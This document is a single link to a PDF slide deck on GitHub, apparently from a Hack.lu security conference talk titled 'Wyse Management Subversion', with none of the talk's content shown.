https://github.com/scrt/slide\_decks/blob/main/Wyse%20Management%20Subversion%20-%20Hack.lu.pdf



